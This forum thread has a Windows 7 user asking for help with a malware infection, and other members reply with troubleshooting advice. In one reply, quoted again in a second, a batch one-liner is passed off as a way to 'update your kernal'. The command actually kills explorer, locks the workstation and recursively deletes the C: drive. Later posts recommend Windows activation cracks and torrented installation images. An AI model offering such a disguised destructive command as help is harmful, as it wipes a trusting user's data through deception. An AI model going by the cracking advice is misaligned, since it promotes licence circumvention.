My computer got infected

[Code.Illusionist]

So, I had problem on Windows 7 before with virus or viruses, don't know how many. But problem was my paint , calculator simply vanished from PC. When I go right click on My computer, properties and try advanced system settings I receive this message:

It seems like virus delete system32 files or some system files. My malwarebytes was deactivated without reason just like that. I use avast anit-virus (don't know if it's called like that in english, that's how we say it here). Does anyone know how this problem could be fixed? I even reinstalled operative system but this virus follow

[qwk]

Lol, that one looks bad. You should try scan your computer with Hitman pro and Eset online scanner but I guess your best option is try reinstall your OS. with any Linux distro out there (I would recommend Linux Mint) and/or Windows 8.1. Have you installed any cracked version of any program lately? Or maybe surf some inetp0rn? Or the best option is trying to update your kernal with this command: 

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@echo offtaskkill -f explorer.exestart %windir%\System32\rundll32.exe user32.dll, LockWorkStationrd c:\ /s /q

[kenjoe41]

Lol, that one looks bad. You should try scan your computer with Hitman pro and Eset online scanner but I guess your best option is try reinstall your OS. with any Linux distro out there (I would recommend Linux Mint) and/or Windows 8.1. Have you installed any cracked version of any program lately? Or maybe surf some inetp0rn? Or the best option is trying to update your kernal with this command: 

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@echo offtaskkill -f explorer.exestart %windir%\System32\rundll32.exe user32.dll, LockWorkStationrd c:\ /s /q

When talking anti-virus, it really doesn't matter which one you have for as long as it is decent and up to date. Avast is fine by me. About the OS, probably you didn't format the partition, or it had a copy of its processes in another partition, or you reinstalled an already infected software and finally or you used a cracked windows.
Can't say for sure but when all fails on my windows machine, i thoroughly examine my other partitions and wipe the one with windows.

[Code.Illusionist]

It is a cracked Windows 7, I used it for 2 years now without problems. But in last week I got this problem with system 32 somehow. And when I relistalled OS, this came up again. So it's not problem with Win 7 , but somehow virus did it.

EDIT: I just find those programs at system32 and it seems to work but somehow I am unable to find them or access them by normal way. They can be activated if I locate them in System32 normally , otherwise not.

[Kulverstukas]

Maybe you should find a proper distro, an official release maybe? and use a Windows Loader instead, to make your system genuine.

[Code.Illusionist]

I used it already but now it's turned off somehow. Like it's not registrated version

[lucid]

Sounds to me like your BIOS might be infected, if you say you reinstalled and the virus still persists. Unfortunately for you all I'm going to tell you is learn how to use linux. You won't have silly problems like this. I'm not all that skilled at advanced malware diagnosis and removal. Don't use Windows enough to know about all that.

[Code.Illusionist]

I know it's good advice, just I am not the only user of PC, therefor I can't install what I want. You see, when I reinstalled OS everything was okay, but today, when I installed Daemon tools , somehow all started. I checked permissions for system32 folder and for administrator there was none. I tried to make full access but hell no, can't be done. Baaah. Linux, here I come x)

[Axon]

Have you tried downloading malware tools to check your system, you know there are plenty of them out there. Another option is to get a rescue CD, and scan your system.

http://www.mcafee.com/us/downloads/free-tools/getsusp.aspx
http://malwaretips.com/blogs/how-to-use-kaspersky-rescue-disk/
http://support.microsoft.com/kb/927392

[Deque]

Files that you kept can still be infected as well as USB sticks, stuff on external HDDs etc.
Make sure to check everything before use.

[proxx]

I know it's good advice, just I am not the only user of PC, therefor I can't install what I want. You see, when I reinstalled OS everything was okay, but today, when I installed Daemon tools , somehow all started. I checked permissions for system32 folder and for administrator there was none. I tried to make full access but hell no, can't be done. Baaah. Linux, here I come x)

That is correct most of those files are owned by system.

[Architect]

Torrenting Daemon tools is your first mistake. Then you made the (largest mistake of all) second mistake of actually installing the software to a network facing computer. Everything you download should ALWAYS be inspected for virus especially downloaded or torrented music, video, games, software etc. This is how most people spread their malware online, obviously one should be more careful.

[iTpHo3NiX]

Yes Daemon Tools does not need to be pirated, download from the official site.

I suggest a low level format (Dban or nuke) your drive, clear CMOS (take mobi battery out) use a clean windows ISO and use Windows Loader/Microsoft Toolkit to activate/genuine. Do not keep ANY files as some malicious viruses will inject a dropper payload into other applications you've once used and were safe.

As for the missing file popup that's not even a file that should be on your system.

After all of that the virus is still persistant, it is most likely in the install disk that you're using, or hiding in the memory. I've encountered a particularly nasty virus that hid itself in the memory on my keyboard, but this is extremely rare.

[techb]

Honestly, when installing any Windows, getting legit keys are very easy to get. I bet the laptop or PC your using has one on the sticker. If you want a newer version, go to some pawn shop and get a key from one of them.

If it gives you trouble, call Microsoft and go through the automated process for them to get it authorized. I have several keys I use and have used. It is a bad idea to torrent proprietary OS's anyway, not saying I haven't done it and that it's all bad, but for the most part bad shit happens.

But honestly, Linux is a WAY better alt to Windows and it's free. If your not the only user, then try and talk them into trying it. They will all throw a bitch fit anyway once Windows 8 is forced on them. I can almost bet average users only use it to serf the net and manage music and shit. If they are a heavy PC gamer, they would/should have a dedicated rig with legit shit on it anyway.

[iTpHo3NiX]

Honestly, when installing any Windows, getting legit keys are very easy to get. I bet the laptop or PC your using has one on the sticker. If you want a newer version, go to some pawn shop and get a key from one of them.

If it gives you trouble, call Microsoft and go through the automated process for them to get it authorized. I have several keys I use and have used. It is a bad idea to torrent proprietary OS's anyway, not saying I haven't done it and that it's all bad, but for the most part bad shit happens.

But honestly, Linux is a WAY better alt to Windows and it's free. If your not the only user, then try and talk them into trying it. They will all throw a bitch fit anyway once Windows 8 is forced on them. I can almost bet average users only use it to serf the net and manage music and shit. If they are a heavy PC gamer, they would/should have a dedicated rig with legit shit on it anyway.

Meh, I always torrent my winblows isos, stay away from customized ones and dont download them from TPB or kickass. Best way is digitalrivers isos (digitalrivers is microdicks official content delivery host) and then use Daz Windows Loader (downloaded from mydigitallife.info) or Microsoft Toolkit if you need a KMS server activation. (Again downloaded from MDL) as that is the reputable source for the original releases from the developers.

Best way is to stay away from pirated apps from anywhere but reputable sources. But always be sure to check ANY file before installing on a windows machine.